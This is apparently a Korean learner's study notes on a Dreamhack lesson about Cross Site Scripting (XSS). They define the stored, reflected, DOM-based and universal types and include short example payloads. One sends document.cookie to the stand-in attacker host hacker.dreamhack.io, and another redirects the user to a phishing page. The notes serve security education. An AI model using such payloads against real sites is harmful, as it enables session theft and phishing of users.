공부하게 된 이유
https://learn.dreamhack.io/173[링크텍스트](https://learn.dreamhack.io/173)
기술 면접 준비를 위해 CS 공부를 해야하는데 친오빠가 dreamhack이라는 사이트에서 공부해보라며 추천해줬다.
들어가며
클라이언트 사이드 취약점이란 웹 페이지 이용자를 대상으로 공격할 수 있는 취약점이다. 이 취약점을 통해 공격자가 악의적인 목적으로 세션 및 쿠키 정보를 탈취하고 사용자의 웹 브라우저에 악성 코드를 삽입하거나, 사용자의 개인정보를 탈취하거나, 서비스의 비정상적인 동작을 유도하는 등의 공격 할 수 있다.
이번에는 클라이언트 사이드 취약점의 대표적인 공격인 Cross Site Scripting(XSS) 의 종류와 어떤 상황에서 발생 할 수 있는지, 이 공격이 어떻게 활용되는지를 알아보자.
Cross Site Scripting의 약어가 XSS인 이유
약어는 CSS가 맞지만, 스타일 시트를 정의하는 언어인 CSS와 혼동되어 사용될 수 있기 때문에 XSS로 명명되었다.
XSS 이란?
XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.
이런 식으로 이용자가 XSS 게시물에 접속하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.
이 취약점은 SOP 보안 정책이 등장하면서 서로 달느 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌다. 그러나 이를 우회하는 다양한 기술이 소개되면서 XSS 공격은 지속되고 있다.
XSS 발생 예시와 종류
클라이언트는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답, 즉 HTML, CSS, JS 등의 웹 리소스를 시각화하여 이용자에게 보여준다. 이 때, HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있다.
| 종류 | 설명 |
|---|---|
| Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
| Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS |
| DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS |
| Universal XSS | 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS |
XSS 스크립트 예시
자바스크립트는 웹 문서의 동작을 정의하는데, 공격자가 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다. 다양한 동작을 정의할 수 있기에 XSS 공격에 주로 사용된다.
자바 스크립트를 실행하기 위한 태그로는 script가 있고 코드 예시로 살펴보자.
- 쿠키 및 세션 탈취 공격 코드
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>페이지 변조 공격 코드
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>- 위치 이동 공격 코드
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>Stored XSS
Stored XSS 란 서버의 DB 또는 File 등의 형태로 저장된 악성 스크립트를 조회할 때 발생할 수 있는 XSS다. 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방법이 있다.
불특정 다수에서 노출될 수 있어 해당 기능에서 XSS 취약점이 존재할 경우 큰 피해를 입을 수 있다.
Reflected XSS
Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 예를 들면, 게시판 서비스에서 작성된 게시물을 조회하는 검색창에서 스크립트를 포함해 검색하는 방법이 있다. 이용자가 검색을 하고, 검색 결과가 이용자에게 반환될 때, 검색 결과를 응답에 포함하는 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.
Relfected XSS는 Stored XSS와 다르게, URL과 같은 이용자의 요청에 의해 발생된다. 따라서 이용자가 눈치채지 못하게 악성 스크립트가 포함된 링크에 접속할 수 있도록 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다.
정리하며
- Cross Site Scripting(XSS) : 클라이언트 사이드 취약점, 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트를 실행
- Stored XSS: 악성 스크립트가 서버 내에 존재. 이용자가 저장된 악성 스크립트를 조회할 때 발생
- Reflected XSS: 악성 스크립트가 이용자 요청 내에 존재. 이용자가 악성 스크립트가 포함된 요청을 보낸 후 응답을 출력할 때 발생.
